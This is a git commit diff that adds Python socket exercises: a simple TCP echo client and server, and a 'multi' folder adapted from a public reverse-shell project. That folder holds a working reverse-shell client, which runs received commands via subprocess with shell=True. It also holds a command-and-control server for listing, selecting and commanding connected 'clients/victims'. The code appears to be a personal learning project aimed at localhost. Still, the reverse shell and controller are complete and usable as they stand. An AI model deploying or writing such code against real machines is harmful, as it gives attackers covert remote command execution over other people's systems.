This commit is contained in:
2023-03-25 09:56:21 +01:00
parent cd77bbd38f
commit 21a4552986
7 changed files with 293 additions and 1 deletions

17
tcp_server_python/client.py Executable file
View File

@@ -0,0 +1,17 @@
#! /usr/bin/env python3
import socket
target_host = "127.0.0.1"
target_port = 9998
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
client.sendto(b'print("Hello")', (target_host, target_port))
response = client.recv(4096)
print(response.decode())
client.close()

View File

@@ -0,0 +1,3 @@
Von : https://github.com/attreyabhatt/Reverse-Shell
Leicht angepasst und Logging wird hinzugefügt.

View File

@@ -0,0 +1,23 @@
import socket
import os
import subprocess
s = socket.socket()
host = '127.0.0.1'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
print(output_str)

174
tcp_server_python/multi/server.py Executable file
View File

@@ -0,0 +1,174 @@
import socket
import sys
import threading
import time
from queue import Queue
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_address = []
# Create a Socket ( connect two computers)
def create_socket():
try:
global host
global port
global s
host = "0.0.0.0"
port = 9999
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
print("Binding the Port: " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
bind_socket()
# Handling connection from multiple clients and saving to a list
# Closing previous connections when server.py file is restarted
def accepting_connections():
for c in all_connections:
c.close()
del all_connections[:]
del all_address[:]
while True:
try:
conn, address = s.accept()
s.setblocking(1) # prevents timeout
all_connections.append(conn)
all_address.append(address)
print("Connection has been established :" + address[0])
except:
print("Error accepting connections")
# 2nd thread functions - 1) See all the clients 2) Select a client 3) Send commands to the connected client
# Interactive prompt for sending commands
# turtle> list
# 0 Friend-A Port
# 1 Friend-B Port
# 2 Friend-C Port
# turtle> select 1
# 192.168.0.112> dir
def start_turtle():
while True:
cmd = input('command list or select > ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
else:
print("Command not recognized")
# Display all current active connections with client
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(20480)
except:
del all_connections[i]
del all_address[i]
continue
results = str(i) + " " + str(all_address[i][0]) + " " + str(all_address[i][1]) + "\n"
print("----Clients----" + "\n" + results)
# Selecting the target
def get_target(cmd):
try:
target = cmd.replace('select ', '') # target = id
target = int(target)
conn = all_connections[target]
print("You are now connected to :" + str(all_address[target][0]))
print(str(all_address[target][0]) + ">", end="")
return conn
# 192.168.0.4> dir
except:
print("Selection not valid")
return None
# Send commands to client/victim or a friend
def send_target_commands(conn):
while True:
try:
cmd = input()
if cmd == 'exit':
break
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), "utf-8")
print(client_response, end="")
except:
print("Error sending commands")
break
# Create worker threads
def create_workers():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True
t.start()
# Do next job that is in the queue (handle connections, send commands)
def work():
while True:
x = queue.get()
if x == 1:
create_socket()
bind_socket()
accepting_connections()
if x == 2:
start_turtle()
queue.task_done()
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join()
create_workers()
create_jobs()

25
tcp_server_python/server.py Executable file
View File

@@ -0,0 +1,25 @@
#! /usr/bin/env python3
import socket, threading
IP = '0.0.0.0'
PORT = 9998
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((IP, PORT))
server.listen(5)
print('[*] Listing on {IP}:{PORT}'.format(IP=IP, PORT=PORT))
while True:
client, address = server.accept()
print('[*] Accept connection from {address1}:{address2}'.format(address1=address[0], address2=address[1]))
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
def handle_client(client_socket):
with client_socket as sock:
request = sock.recv(1024)
print(f'[*] Received: {request.decode("utf-8")}')
sock.send(b'ACK')
if __name__ == "__main__":
main()